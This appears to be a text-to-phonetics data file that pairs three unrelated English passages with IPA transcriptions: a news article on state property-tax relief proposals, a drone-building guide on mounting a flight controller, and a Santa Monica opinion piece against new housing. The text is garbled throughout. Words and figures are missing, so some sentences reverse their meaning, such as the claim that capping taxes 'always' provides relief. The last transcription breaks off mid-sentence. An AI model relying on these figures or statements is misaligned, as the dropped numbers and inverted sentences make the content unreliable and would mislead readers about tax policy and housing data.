although states generally levy property taxes (arizona did until 1996, and minnesota taxes some commercial and seasonal property), state lawmakers routinely look for ways to ease them at the local level with caps, subsidies, exemptions, or changes in the balance between commercial and residential tax rates. in addition to new york, connecticut and texas, relief proposals have been up for debate in pennsylvania, maine and nebraska this year.
in new york, democratic gov. andrew cuomo talked of how “middle- and families (are) struggling under the crushing weigh of property taxes” in january, when he announced a plan for $1.7 billion in tax credits for qualifying homeowners and renters.
the legislature removed proposed credit from the state budget in march. but cuomo has said continuing to negotiate it with legislative leaders and a compromise may be possible next month.
the connecticut legislature is considering a bill that would provide property tax relief by giving towns more money from state sales tax revenue. the state issued a report last year showing property taxes were the largest component of taxes collected in the state, raising $9.5 billion annually compared to $5.8 billion in income taxes and $3.4 billion in sales taxes.
in new jersey, budget constraints last year forced the state to postpone scheduled property tax discounts for elderly, disabled and low-income homeowners, but included in tax bills mailed out this month. a report this year by the state league of municipalities concluded that property taxes would have to drop 35 percent to bring them into line with comparable suburbs of new york city and philadelphia.
pennsylvania’s democratic gov. tom wolf has proposed increases in state income tax and sales taxes to help fund $3.8 billion in property tax relief next year. lawmakers are continuing to review the proposal.
maine is considering a plan from republican gov. paul lepage that would remove the property tax exemption that some nonprofits now have starting in 2019. in nebraska, plans to relieve taxes, for farmers especially, appear dead this year and instead will be studied.
in texas, lawmakers are still debating property tax breaks. republican gov. greg abbott proposed spending $2.2 billion in state money to reimburse local schools for lost revenue from property tax relief.
relief not always relief
nationwide, about 75 percent of local tax revenue comes from property taxes, according to a report by the tax policy center in conjunction with the brookings institution and the urban institute. the percentages range from 32 percent in the district of columbia and 43 percent in alabama, to 99 percent in maine and new hampshire.
about half of the $446 billion collected from property taxes annually goes to schools, according to a 2007 estimate by the lincoln institute of land policy, a think tank focused on land use and taxation, which tracks property tax rates by state and tax relief programs up to 2013. the rest goes to police, fire, streets and other local government operations and services.
capping or cutting property taxes, while popular, always provide taxpayers overall relief, however. drenkard, the tax foundation economist, said many attempts at relieving the burden of property taxes only serve to shift the costs of government to income or other taxes.
because school taxes are such a high proportion of the total property tax bill, many states have started there, offering some homeowners a state subsidy in the form of tax credits or rebates, lightening the load with more state aid to schools or giving homeowners breaks by raising taxes on commercial property.
a new york state program called school tax relief (star), has offered some homeowners reduced school taxes through tax credits since 1998, with the lost revenue made up by higher state aid to schools.
a 2010 study by georgia state fiscal research center noted that most comprehensive efforts to overhaul state taxes, including property taxes, have remained on the drawing board.
“very few of the changes proposed appear to have been adopted,” the study concluded about efforts during the decade of the 2000s.
new york has highest rates
although new jersey has the highest median annual property tax at $7,331, the counties with the highest rates are in new york. suburban westchester is the only county in the nation where the median burden is $10,000 or more. nearby rockland and nassau counties are not far behind at $9,667 and $9,522, respectively.
(at the bottom is the state of alabama, where median property taxes are $532. there are 23 counties, 13 of them in louisiana, where median taxes are less than $200.)
property tax relief has always been difficult in the new york city suburbs, said gregory holtz, a public administration professor at pace university in westchester county. because wealth is so high and homes cost so much in affluent areas, there may not be enough outrage to fuel changes.
“there’s very little potential for reform in new york state,” holtz said. “our taxes gotten that high yet. going to have to be completely overburdened. when taxes are late or going into default, a true sign of tax revolt or reform, and not happening yet.” | ˌdɛməˈkrætɪk gəv. ˈændru kˈwoʊmoʊ əv nu jɔrk spiks tɪ rɪˈpɔrtərz əˈbaʊt hɪz prəˈpoʊzəl tɪ ˈɔfər ə ˈbɪljən ˈprɑpərti tæks ˈkrɛdɪt fər ˈhoʊˌmoʊnərz ənd ˈrɛntərz. hɪz wɑz əˈməŋ prəˈpoʊzəlz ɪn ˈsɛvərəl steɪts ðɪs jɪr tɪ prəˈvaɪd tæks rɪˈlif fər ˈprɑpərti ˈtækˌspeɪərz. (ˌeɪˈpi) wɪθ səm əv ðə haɪəst ˈmidiən ˈprɑpərti ˈtæksɪz ɪn ðə ˈneɪʃən, noʊ səˈpraɪz ðət rɪˈlif ɪz æt ðə tɔp əv ˈmɛni pəˈlɪtɪkəl əˈʤɛndəz ɪn nu jɔrk, kəˈnɛtəkət ənd nu ˈʤərzi. ˈkaʊntiz ðət səraʊnd nu jɔrk ˈsɪti ɪn ðoʊz θri steɪts əˈkaʊnt fər 18 əv ðə 20 ˈkaʊntiz ɪn ðə ˈneɪʃən, əˈkɔrdɪŋ tɪ ə æˈnælɪsɪs əv ðə juz. census’*’ 2013 əˈmɛrɪkən kəmˈjunɪti ˈsərˌveɪ ˈdætə, wɪʧ ɪz ðə ˈleɪtəst əˈveɪləbəl. bət ðeɪ ðə ˈoʊnli steɪts wɛr ˈhoʊˌmoʊnərz fil ˈprɛʃər frəm ˈprɑpərti ˈtæksɪz, wɪʧ ər ˈraɪzɪŋ ˈfæstər ðən ˌɪnˈfleɪʃən ˈnæʃənəli ənd ˈprɑmptɪŋ ˈlɔˌmeɪkərz tɪ lʊk fər weɪz tɪ prəˈvaɪd rɪˈlif. ˈmidiən ˈprɑpərti ˈtæksɪz roʊz 57 pərˈsɛnt frəm ɪn 2000 tɪ ɪn 2013 waɪl ˌɪnˈfleɪʃən wɑz ˈoʊnli 35 pərˈsɛnt ˈdʊrɪŋ ðə ˈpɪriəd. (si ðə mæp fər ðə ˈleɪtəst ˈmidiən ˈprɑpərti ˈtæksɪz ɪn iʧ steɪt, ənd ðə ˈkaʊnti wɪθ ðə haɪəst ˈmidiən ˈprɑpərti ˈtæksɪz ɪn iʧ steɪt.) ˈtɛksəs ˈlɔˌmeɪkərz, fər ˈɪnstəns, ər dəˈbeɪtɪŋ ɛz məʧ ɛz ə ˈbɪljən kət ɪn ˈprɑpərti ˈtæksɪz. ðə ˈmidiən tæks bɪl ðɛr ɪz əˈbaʊt ðət bɪl, ˌhaʊˈɛvər, ɪz ˈoʊnli əˈbaʊt ə θərd əv ðə fər ˈmidiən ˈprɑpərti tæks nu ˈʤərzi, ənd ə kˈwɔrtər əv ðə tæks bɪl ˈprɑpərti ˈoʊnərz peɪ ɪn ˈwɛˌstʧɛstər ˈkaʊnti, nu jɔrk, wɪʧ həz ðə haɪəst ˈmidiən ˈlɛvi əv ə nu ˈjɔrkər hərd əˈbaʊt ə ˈprɑpərti tæks bɪl ɪn ˈtɛksəs, hi wʊd seɪ. hæv ˈnəθɪŋ tɪ kəmˈpleɪn about,’”*,’” sɛd skɑt drenkard*, ən ɪˈkɑnəmɪst æt ðə tæks faʊnˈdeɪʃən, ə nɑnˈpɑrtəzən tæks ˈpɑləsi ˈrisərʧ grup. ˈtɛksənz kəmˈpleɪn əˈbaʊt ˈprɑpərti ˈtæksɪz kwaɪt ə bɪt. ɪf ju æsk ðɛm wət nidz tɪ bi kət, ðə ˈævərɪʤ ˈtɛksən wʊd seɪ ˈprɑpərti ˈtæksɪz. ðə tæks ˈpɑləsiˌmeɪkərz hir ðə moʊst əˈbaʊt frəm ðɛr kənˈstɪʧuənts. ðə moʊst ˈheɪtɪd tax.”*.” ˌɔlˈðoʊ steɪts ˈʤɛnərəli ˈlɛvi ˈprɑpərti ˈtæksɪz (ˌɛrɪˈzoʊnə dɪd ənˈtɪl 1996 ənd ˌmɪnɪˈsoʊtə ˈtæksɪz səm kəˈmərʃəl ənd ˈsizənəl ˈprɑpərti), steɪt ˈlɔˌmeɪkərz ruˈtinli lʊk fər weɪz tɪ iz ðɛm æt ðə ˈloʊkəl ˈlɛvəl wɪθ kæps, ˈsəbsɪdiz, ɪgˈzɛmpʃənz, ər ˈʧeɪnʤɪz ɪn ðə ˈbæləns bɪtˈwin kəˈmərʃəl ənd ˌrɛzɪˈdɛnʃəl tæks reɪts. ɪn əˈdɪʃən tɪ nu jɔrk, kəˈnɛtəkət ənd ˈtɛksəs, rɪˈlif prəˈpoʊzəlz hæv bɪn əp fər dəˈbeɪt ɪn ˌpɛnsəlˈveɪnjə, meɪn ənd nəˈbræskə ðɪs jɪr. ɪn nu jɔrk, ˌdɛməˈkrætɪk gəv. ˈændru kˈwoʊmoʊ tɔkt əv haʊ ““middle*- ənd ˈfæməliz (ər) ˈstrəgəlɪŋ ˈəndər ðə ˈkrəʃɪŋ weɪ əv ˈprɑpərti taxes”*” ɪn ˈʤænjuˌɛri, wɪn hi əˈnaʊnst ə plæn fər ˈbɪljən ɪn tæks ˈkrɛdɪts fər kˈwɑləˌfaɪɪŋ ˈhoʊˌmoʊnərz ənd ˈrɛntərz. ðə ˈlɛʤəsˌleɪʧər riˈmuvd prəˈpoʊzd ˈkrɛdɪt frəm ðə steɪt ˈbəʤɪt ɪn mɑrʧ. bət kˈwoʊmoʊ həz sɛd kənˈtɪnjuɪŋ tɪ nɪˈgoʊʃiˌeɪt ɪt wɪθ ˈlɛʤəsˌleɪtɪv ˈlidərz ənd ə ˈkɑmprəˌmaɪz meɪ bi ˈpɑsəbəl nɛkst mənθ. ðə kəˈnɛtəkət ˈlɛʤəsˌleɪʧər ɪz kənˈsɪdərɪŋ ə bɪl ðət wʊd prəˈvaɪd ˈprɑpərti tæks rɪˈlif baɪ ˈgɪvɪŋ taʊnz mɔr ˈməni frəm steɪt seɪlz tæks ˈrɛvəˌnu. ðə steɪt ˈɪʃud ə rɪˈpɔrt læst jɪr ʃoʊɪŋ ˈprɑpərti ˈtæksɪz wər ðə ˈlɑrʤəst kəmˈpoʊnənt əv ˈtæksɪz kəˈlɛktəd ɪn ðə steɪt, ˈreɪzɪŋ ˈbɪljən ˈænjuəli kəmˈpɛrd tɪ ˈbɪljən ɪn ˈɪnˌkəm ˈtæksɪz ənd ˈbɪljən ɪn seɪlz ˈtæksɪz. ɪn nu ˈʤərzi, ˈbəʤɪt kənˈstreɪnts læst jɪr fɔrst ðə steɪt tɪ poʊstˈpoʊn ˈskɛʤʊld ˈprɑpərti tæks ˈdɪˌskaʊnts fər ˈɛldərli, dɪˈseɪbəld ənd ˌloʊˈɪnkəm ˈhoʊˌmoʊnərz, bət ˌɪnˈkludɪd ɪn tæks bɪlz meɪld aʊt ðɪs mənθ. ə rɪˈpɔrt ðɪs jɪr baɪ ðə steɪt lig əv mˌjunɪsəˈpælɪtiz kənˈkludɪd ðət ˈprɑpərti ˈtæksɪz wʊd hæv tɪ drɔp 35 pərˈsɛnt tɪ brɪŋ ðɛm ˈɪntu laɪn wɪθ ˈkɑmprəbəl ˈsəbərbz əv nu jɔrk ˈsɪti ənd ˌfɪləˈdɛlfiə. ˌdɛməˈkrætɪk gəv. tɑm wʊlf həz prəˈpoʊzd ˌɪnˈkrisɪz ɪn steɪt ˈɪnˌkəm tæks ənd seɪlz ˈtæksɪz tɪ hɛlp fənd ˈbɪljən ɪn ˈprɑpərti tæks rɪˈlif nɛkst jɪr. ˈlɔˌmeɪkərz ər kənˈtɪnjuɪŋ tɪ ˌrivˈju ðə prəˈpoʊzəl. meɪn ɪz kənˈsɪdərɪŋ ə plæn frəm rɪˈpəblɪkən gəv. pɔl ˈlɛpɪʤ ðət wʊd riˈmuv ðə ˈprɑpərti tæks ɪgˈzɛmpʃən ðət səm ˈnɑnˈprɑfɪts naʊ hæv ˈstɑrtɪŋ ɪn 2019 ɪn nəˈbræskə, plænz tɪ rɪˈliv ˈtæksɪz, fər ˈfɑrmərz əˈspɛʃəli, əˈpɪr dɛd ðɪs jɪr ənd ˌɪnˈstɛd wɪl bi ˈstədid. ɪn ˈtɛksəs, ˈlɔˌmeɪkərz ər stɪl dəˈbeɪtɪŋ ˈprɑpərti tæks breɪks. rɪˈpəblɪkən gəv. grɛg ˈæbət prəˈpoʊzd ˈspɛndɪŋ ˈbɪljən ɪn steɪt ˈməni tɪ ˌriɪmˈbərs ˈloʊkəl skulz fər lɔst ˈrɛvəˌnu frəm ˈprɑpərti tæks rɪˈlif. rɪˈlif nɑt ˈɔlˌweɪz rɪˈlif ˈneɪʃənˈwaɪd, əˈbaʊt 75 pərˈsɛnt əv ˈloʊkəl tæks ˈrɛvəˌnu kəmz frəm ˈprɑpərti ˈtæksɪz, əˈkɔrdɪŋ tɪ ə rɪˈpɔrt baɪ ðə tæks ˈpɑləsi ˈsɛnər ɪn kənˈʤəŋkʃən wɪθ ðə ˈbrʊkɪŋz ˌɪnstɪˈtuʃən ənd ðə ˈərbən ˈɪnstɪˌtut. ðə pərˈsɛnɪʤɪz reɪnʤ frəm 32 pərˈsɛnt ɪn ðə ˈdɪstrɪkt əv kəˈləmbiə ənd 43 pərˈsɛnt ɪn ˌæləˈbæmə, tɪ 99 pərˈsɛnt ɪn meɪn ənd nu ˈhæmʃər. əˈbaʊt hæf əv ðə 446 ˈbɪljən kəˈlɛktəd frəm ˈprɑpərti ˈtæksɪz ˈænjuəli goʊz tɪ skulz, əˈkɔrdɪŋ tɪ ə 2007 ˈɛstəˌmeɪt baɪ ðə ˈlɪŋkən ˈɪnstɪˌtut əv lænd ˈpɑləsi, ə θɪŋk tæŋk ˈfoʊkɪst ɔn lænd juz ənd tækˈseɪʃən, wɪʧ træks ˈprɑpərti tæks reɪts baɪ steɪt ənd tæks rɪˈlif ˈproʊˌgræmz əp tɪ 2013 ðə rɛst goʊz tɪ pəˈlis, faɪər, strits ənd ˈəðər ˈloʊkəl ˈgəvərnmənt ˌɑpərˈeɪʃənz ənd ˈsərvɪsɪz. ˈkæpɪŋ ər ˈkətɪŋ ˈprɑpərti ˈtæksɪz, waɪl ˈpɑpjələr, ˈɔlˌweɪz prəˈvaɪd ˈtækˌspeɪərz ˈoʊvərˌɔl rɪˈlif, ˌhaʊˈɛvər. drenkard*, ðə tæks faʊnˈdeɪʃən ɪˈkɑnəmɪst, sɛd ˈmɛni əˈtɛmpts æt rɪˈlivɪŋ ðə ˈbərdən əv ˈprɑpərti ˈtæksɪz ˈoʊnli sərv tɪ ʃɪft ðə kɔsts əv ˈgəvərnmənt tɪ ˈɪnˌkəm ər ˈəðər ˈtæksɪz. bɪˈkəz skul ˈtæksɪz ər səʧ ə haɪ prəˈpɔrʃən əv ðə ˈtoʊtəl ˈprɑpərti tæks bɪl, ˈmɛni steɪts hæv ˈstɑrtɪd ðɛr, ˈɔfərɪŋ səm ˈhoʊˌmoʊnərz ə steɪt ˈsəbsɪdi ɪn ðə fɔrm əv tæks ˈkrɛdɪts ər ˈriˌbeɪts, ˈlaɪtənɪŋ ðə loʊd wɪθ mɔr steɪt eɪd tɪ skulz ər ˈgɪvɪŋ ˈhoʊˌmoʊnərz breɪks baɪ ˈreɪzɪŋ ˈtæksɪz ɔn kəˈmərʃəl ˈprɑpərti. ə nu jɔrk steɪt ˈproʊˌgræm kɔld skul tæks rɪˈlif (stɑr), həz ˈɔfərd səm ˈhoʊˌmoʊnərz rɪˈdust skul ˈtæksɪz θru tæks ˈkrɛdɪts sɪns 1998 wɪθ ðə lɔst ˈrɛvəˌnu meɪd əp baɪ haɪər steɪt eɪd tɪ skulz. ə 2010 ˈstədi baɪ ˈʤɔrʤə steɪt ˈfɪskəl ˈrisərʧ ˈsɛnər ˈnoʊtɪd ðət moʊst ˌkɑmpriˈhɛnsɪv ˈɛfərts tɪ ˈoʊvərˌhɔl steɪt ˈtæksɪz, ˌɪnˈkludɪŋ ˈprɑpərti ˈtæksɪz, hæv rɪˈmeɪnd ɔn ðə drɔɪŋ bɔrd. fju əv ðə ˈʧeɪnʤɪz prəˈpoʊzd əˈpɪr tɪ hæv bɪn adopted,”*,” ðə ˈstədi kənˈkludɪd əˈbaʊt ˈɛfərts ˈdʊrɪŋ ðə ˈdɛkeɪd əv ðə 2000s*. nu jɔrk həz haɪəst reɪts ˌɔlˈðoʊ nu ˈʤərzi həz ðə haɪəst ˈmidiən ˈænjuəl ˈprɑpərti tæks æt ðə ˈkaʊntiz wɪθ ðə haɪəst reɪts ər ɪn nu jɔrk. səˈbərbən ˈwɛˌstʧɛstər ɪz ðə ˈoʊnli ˈkaʊnti ɪn ðə ˈneɪʃən wɛr ðə ˈmidiən ˈbərdən ɪz ər mɔr. ˈnɪrˈbaɪ ˈrɑklənd ənd ˈnæsɔ ˈkaʊntiz ər nɑt fɑr bɪˈhaɪnd æt ənd rɪˈspɛktɪvli. (æt ðə ˈbɑtəm ɪz ðə steɪt əv ˌæləˈbæmə, wɛr ˈmidiən ˈprɑpərti ˈtæksɪz ər 532 ðɛr ər 23 ˈkaʊntiz, 13 əv ðɛm ɪn luˌiziˈænə, wɛr ˈmidiən ˈtæksɪz ər lɛs ðən 200 ˈprɑpərti tæks rɪˈlif həz ˈɔlˌweɪz bɪn ˈdɪfəkəlt ɪn ðə nu jɔrk ˈsɪti ˈsəbərbz, sɛd ˈgrɛgəri hoʊlts, ə ˈpəblɪk ædˌmɪnɪˈstreɪʃən prəˈfɛsər æt peɪs ˌjunəˈvərsəti ɪn ˈwɛˌstʧɛstər ˈkaʊnti. bɪˈkəz wɛlθ ɪz soʊ haɪ ənd hoʊmz kɔst soʊ məʧ ɪn ˈæfluənt ˈɛriəz, ðɛr meɪ nɑt bi ɪˈnəf ˈaʊˌtreɪʤ tɪ fjuəl ˈʧeɪnʤɪz. ˈvɛri ˈlɪtəl pəˈtɛnʃəl fər rɪˈfɔrm ɪn nu jɔrk state,”*,” hoʊlts sɛd. ˈtæksɪz ˈgɔtən ðət haɪ jɛt. goʊɪŋ tɪ hæv tɪ bi kəmˈplitli ˈoʊvərˈbərdənd. wɪn ˈtæksɪz ər leɪt ər goʊɪŋ ˈɪntu dɪˈfɔlt, ə tru saɪn əv tæks rɪˈvoʊlt ər rɪˈfɔrm, ənd nɑt ˈhæpənɪŋ yet.”*.” |
so now we move on to installing the flight controller onto the frame. now, all flight controllers have an orientation and so it is important that you secure it to your frame facing the correct way (this saves a lot of a hassle later). specifically for the+ board that we used here, the port is the back of the board and the opposite side is subsequently the forward facing side. you therefore have to place the flight controller so that the forward facing side is pointing in the same direction as the front of the (for the silver blade #37 there is no specific 'front' so you can choose).
we secured the+ here with mounting foam to the middle of the (facing the correct way) and then we proceeded to plugging in the. we use the servo cables to plug the in (the black, red and white cable) and these plug into the output pins of the flight controller. this is because the flight controller outputs information to the to control the speed of the motor. according to which flight controller you're using, each motor is numbered 1 to 4 in a specific order (as mentioned above). you need to plug the connected to motor 1 into the output pin labeled 1 on the flight controller, the connected to motor 2 into the pin labeled 2 etc. you also need to plug the servo cables into the pins in the correct orientation. the three coloured wires in the cable (black, red and white) correspond to ground, voltage and signal wires respectively. you therefore need to ensure that the ground wires are connected to the ground pins, the voltage wires are connected to the voltage pins and the signal wires are connected to the signal pins. you can see this demonstrated in the pictures above. most flight controllers will have the pins labeled with which pin is ground, which pin is voltage and which pin is signal. for example, in our+ guide, you can see that the pins are labeled with g, v and 6 (the 6 is for motor 6 but this is the signal pin). | soʊ naʊ wi muv ɔn tɪ ˌɪnˈstɔlɪŋ ðə flaɪt kənˈtroʊlər ˈɔntu ðə freɪm. naʊ, ɔl flaɪt kənˈtroʊlərz hæv ən ˌɔriɛnˈteɪʃən ənd soʊ ɪt ɪz ˌɪmˈpɔrtənt ðət ju sɪˈkjʊr ɪt tɪ jʊr freɪm ˈfeɪsɪŋ ðə kərˈɛkt weɪ (ðɪs seɪvz ə lɔt əv ə ˈhæsəl ˈleɪtər). spəˈsɪfɪkli fər ðə bɔrd ðət wi juzd hir, ðə pɔrt ɪz ðə bæk əv ðə bɔrd ənd ðə ˈɑpəzɪt saɪd ɪz ˈsəbsəkwəntli ðə ˈfɔrwərd ˈfeɪsɪŋ saɪd. ju ˈðɛrˌfɔr hæv tɪ pleɪs ðə flaɪt kənˈtroʊlər soʊ ðət ðə ˈfɔrwərd ˈfeɪsɪŋ saɪd ɪz ˈpɔɪntɪŋ ɪn ðə seɪm dɪˈrɛkʃɪn ɛz ðə frənt əv ðə (fər ðə ˈsɪlvər bleɪd 37 ðɛr ɪz noʊ spɪˈsɪfɪk 'frənt' soʊ ju kən ʧuz). wi sɪˈkjʊrd ðə hir wɪθ ˈmaʊntɪŋ foʊm tɪ ðə ˈmɪdəl əv ðə (ˈfeɪsɪŋ ðə kərˈɛkt weɪ) ənd ðɛn wi prəˈsidəd tɪ ˈpləgɪŋ ɪn ðə. wi juz ðə ˈsərvoʊ ˈkeɪbəlz tɪ pləg ðə ɪn (ðə blæk, rɛd ənd waɪt ˈkeɪbəl) ənd ðiz pləg ˈɪntu ðə ˈaʊtˌpʊt pɪnz əv ðə flaɪt kənˈtroʊlər. ðɪs ɪz bɪˈkəz ðə flaɪt kənˈtroʊlər ˈaʊtˌpʊts ˌɪnˌfɔrˈmeɪʃən tɪ ðə tɪ kənˈtroʊl ðə spid əv ðə ˈmoʊtər. əˈkɔrdɪŋ tɪ wɪʧ flaɪt kənˈtroʊlər jʊr ˈjuzɪŋ, iʧ ˈmoʊtər ɪz ˈnəmbərd 1 tɪ 4 ɪn ə spɪˈsɪfɪk ˈɔrdər (ɛz ˈmɛnʃənd əˈbəv). ju nid tɪ pləg ðə kəˈnɛktɪd tɪ ˈmoʊtər 1 ˈɪntu ðə ˈaʊtˌpʊt pɪn ˈleɪbəld 1 ɔn ðə flaɪt kənˈtroʊlər, ðə kəˈnɛktɪd tɪ ˈmoʊtər 2 ˈɪntu ðə pɪn ˈleɪbəld 2 ˌɛtˈsɛtərə. ju ˈɔlsoʊ nid tɪ pləg ðə ˈsərvoʊ ˈkeɪbəlz ˈɪntu ðə pɪnz ɪn ðə kərˈɛkt ˌɔriɛnˈteɪʃən. ðə θri ˈkələrd waɪərz ɪn ðə ˈkeɪbəl (blæk, rɛd ənd waɪt) ˌkɔrəˈspɑnd tɪ graʊnd, ˈvoʊltɪʤ ənd ˈsɪgnəl waɪərz rɪˈspɛktɪvli. ju ˈðɛrˌfɔr nid tɪ ɪnˈʃʊr ðət ðə graʊnd waɪərz ər kəˈnɛktɪd tɪ ðə graʊnd pɪnz, ðə ˈvoʊltɪʤ waɪərz ər kəˈnɛktɪd tɪ ðə ˈvoʊltɪʤ pɪnz ənd ðə ˈsɪgnəl waɪərz ər kəˈnɛktɪd tɪ ðə ˈsɪgnəl pɪnz. ju kən si ðɪs ˈdɛmənˌstreɪtɪd ɪn ðə ˈpɪkʧərz əˈbəv. moʊst flaɪt kənˈtroʊlərz wɪl hæv ðə pɪnz ˈleɪbəld wɪθ wɪʧ pɪn ɪz graʊnd, wɪʧ pɪn ɪz ˈvoʊltɪʤ ənd wɪʧ pɪn ɪz ˈsɪgnəl. fər ɪgˈzæmpəl, ɪn ɑr gaɪd, ju kən si ðət ðə pɪnz ər ˈleɪbəld wɪθ ʤi, vi ənd 6 (ðə 6 ɪz fər ˈmoʊtər 6 bət ðɪs ɪz ðə ˈsɪgnəl pɪn). |
santa monica does not have a housing crisis. the southern counties association of governments (scag) target for our city is 239 new units per year. this is a fair number that reflects our percentage of growth for the southern california region. in the last three years we have approved an average of 253 new units per year. in addition we have another 1929 units (not counting 679 units in withdrawn projects) in the pipeline at various stages of approval processing. if only half of those projects go to term over the next three years we would have approved an average of another 321 units in the next three years or more than our requirement. simply stated we are already meeting more than our fair share of the housing demand in addition to all the other benefits our small city provides to the region. in fact, santa population increase (2000-2010), which we can see everyday in our traffic overload, was over twice that of los angeles county (6.7% vs%).
while housing is very expensive in santa monica, as it is in all beach communities, our median incomes are% higher than la county’s. because of that, our city is actually more affordable to its residents than to the average citizen in la county. for example, 56% of our property owners (1/4 of our population) pay more than 30% of their income for their housing, while 67% of the average angelo homeowners pay that burden. likewise 67% of our renters (3/4 of our population) pay that unreasonable burden, while 85% of los angeles county renters are similarly encumbered. even though rent control is slowly being weakened, thanks primarily to our robust affordable housing program, which maintains% of the new units as deed restricted affordable units, affordability is still substantially protected in the future.
in a relatively wealthy city, we have made santa monica comparatively more affordable than los angeles county. and remember, this was done in the depths of a recession on some of the most expensive land on the westside. the ability to maintain affordability of our housing stock through the combined efforts of the city council and staff, of the rent control board and of affordable housing providers like community corp and of affordability advocates like to name just a few, is an incredible achievement. we can all be proud of this achievement.
in short we can stop beating ourselves up about needing more and more housing and focus instead on the consequences of this abundant housing production, particularly as its burden escalates in the future. it is already colliding with our sustainability goals. we simply do not have the water for the new residents who are to join us in the next 20 years. in fact we do not have enough water for our current homes and businesses since we import about a third of our water from collapsing sources such as the sierra snow pack (the expected el nino this year will not undo four years of drought). most of the new housing is headed toward downtown, which does not even have an elementary school, so those students will need to go across half the town to possibly mckinley. only one in nine of our workers live and work in the city so we cannot substantially reduce our imbalance by building more housing, since 9 of the 10 new workers will still work outside of the city adding to our peak hour traffic crushes. and there is no certainty this ratio will likely improve with the advent of the light rail next year. it may actually get worse.
this housing production is not free. new residents require more schools, water, power, traffic upgrades, fire and police services. in countless ways this growth burdens our infrastructure which is already compromised and has limited expansion capability in a built out city. for example, where would you amass enough land for the next elementary school? where would you build the desalinization plant when desalinization becomes a cost competitive (and ecologically sound) water source? where would you move the city yards to when memorial park is expanded? these are not trivial problems when you consider, for example, that we have the least amount of open park space and are the second densest city in california for coastal cities of our comparable size. the limitations of space in our impacted city means that infrastructure upgrades become much more expensive and increase faster than the tax base to support them. whenever our growth expands beyond our capacity, in all senses of the word, all the residents end up paying a horrible civic price in cost (have you looked at your water bill lately), in time and in quality of life.
unfortunately the housing supply crisis in our city has become a trojan horse to try to drive more unsustainable development into our city. the poster boy for this is the recently approved santa monica plaza project which the city council green lighted to the next approval level with an astonishing 12 stories and a pitiful fig leaf of only 48 affordable units. the evolving downtown specific plan is also with an unsustainable amount of development.
cities cannot and should not expand infinitely. only so much land, sunlight and water is available to our city. for example cities actually do run out of water: even big ones like sao paolo, brazil. so in our beachside city we cannot produce all the housing there is demand for in our region, nor should we try, since we are already providing more than our fair share of housing and other vital regional services: recreation (beaches), job creation (silicone beach), transportation (airport and light rail), entertainment (3rd street promenade, the pier), health (two regional hospitals), education (santa monica college) and tourism (hotel industry).
those other regional services are as equally regionally important as the housing we provide. however our most significant regional contribution is to be a low rise city where residents, visitors and tourists can relax and get relief from the urban pandemonium all around us. relaxed living our real mission statement in this region and this aligns with the interests of our residents.
when we compare ourselves to other beachside cities we do more than our share in many categories. how many regional hospitals does does malibu have? does redondo beach have a student junior college? does manhattan beach have an airport? we do housing very well, but it is just a small part of our metropolitan role. sustainability of all our regional contributions without burdening our residents should be our major focus, not any one at the expense of the others.
sma.r.t. (santa monica architects for a responsible tomorrow)
advertisements | ˈsænə ˈmɑnɪkə dɪz nɑt hæv ə ˈhaʊzɪŋ ˈkraɪsəs. ðə ˈsəðərn ˈkaʊntiz əˌsoʊʃiˈeɪʃən əv ˈgəvərnmənts (scag*) ˈtərgət fər ɑr ˈsɪti ɪz 239 nu ˈjunɪts pər jɪr. ðɪs ɪz ə fɛr ˈnəmbər ðət rɪˈflɛkts ɑr pərˈsɛnɪʤ əv groʊθ fər ðə ˈsəðərn ˌkæləˈfɔrnjə ˈriʤən. ɪn ðə læst θri jɪrz wi hæv əˈpruvd ən ˈævərɪʤ əv 253 nu ˈjunɪts pər jɪr. ɪn əˈdɪʃən wi hæv əˈnəðər 1929 ˈjunɪts (nɑt ˈkaʊntɪŋ 679 ˈjunɪts ɪn wɪθˈdrɔn ˈprɑʤɛkts) ɪn ðə ˈpaɪˌplaɪn æt ˈvɛriəs ˈsteɪʤɪz əv əˈpruvəl ˈprɑsɛsɪŋ. ɪf ˈoʊnli hæf əv ðoʊz ˈprɑʤɛkts goʊ tɪ tərm ˈoʊvər ðə nɛkst θri jɪrz wi wʊd hæv əˈpruvd ən ˈævərɪʤ əv əˈnəðər 321 ˈjunɪts ɪn ðə nɛkst θri jɪrz ər mɔr ðən ɑr rɪkˈwaɪrmənt. ˈsɪmpli ˈsteɪtɪd wi ər ɔˈrɛdi ˈmitɪŋ mɔr ðən ɑr fɛr ʃɛr əv ðə ˈhaʊzɪŋ dɪˈmænd ɪn əˈdɪʃən tɪ ɔl ðə ˈəðər ˈbɛnəfɪts ɑr smɔl ˈsɪti prəˈvaɪdz tɪ ðə ˈriʤən. ɪn fækt, ˈsænə ˌpɑpjəˈleɪʃən ˌɪnˈkris wɪʧ wi kən si ˈɛvriˈdeɪ ɪn ɑr ˈtræfɪk ˈoʊvərˌloʊd, wɑz ˈoʊvər twaɪs ðət əv lɔs ˈænʤəlɪs ˈkaʊnti ˈvərsəz waɪl ˈhaʊzɪŋ ɪz ˈvɛri ɪkˈspɛnsɪv ɪn ˈsænə ˈmɑnɪkə, ɛz ɪt ɪz ɪn ɔl biʧ kəmˈjunɪtiz, ɑr ˈmidiən ˈɪnˌkəmz ər haɪər ðən lɑ county’s*. bɪˈkəz əv ðət, ɑr ˈsɪti ɪz ˈæˌkʧuəli mɔr əˈfɔrdəbəl tɪ ɪts ˈrɛzɪdənts ðən tɪ ðə ˈævərɪʤ ˈsɪtɪzən ɪn lɑ ˈkaʊnti. fər ɪgˈzæmpəl, 56 əv ɑr ˈprɑpərti ˈoʊnərz əv ɑr ˌpɑpjəˈleɪʃən) peɪ mɔr ðən 30 əv ðɛr ˈɪnˌkəm fər ðɛr ˈhaʊzɪŋ, waɪl 67 əv ðə ˈævərɪʤ ˈænʤəˌloʊ ˈhoʊˌmoʊnərz peɪ ðət ˈbərdən. ˈlaɪkˌwaɪz 67 əv ɑr ˈrɛntərz əv ɑr ˌpɑpjəˈleɪʃən) peɪ ðət ənˈriznəbəl ˈbərdən, waɪl 85 əv lɔs ˈænʤəlɪs ˈkaʊnti ˈrɛntərz ər ˈsɪmələrli ɛnˈkəmbərd. ˈivɪn ðoʊ rɛnt kənˈtroʊl ɪz sˈloʊli biɪŋ ˈwikənd, θæŋks praɪˈmɛrəli tɪ ɑr roʊˈbəst əˈfɔrdəbəl ˈhaʊzɪŋ ˈproʊˌgræm, wɪʧ meɪnˈteɪnz əv ðə nu ˈjunɪts ɛz did riˈstrɪktɪd əˈfɔrdəbəl ˈjunɪts, əˌfɔrdəˈbɪləti ɪz stɪl səbˈstænʃəli prəˈtɛktɪd ɪn ðə 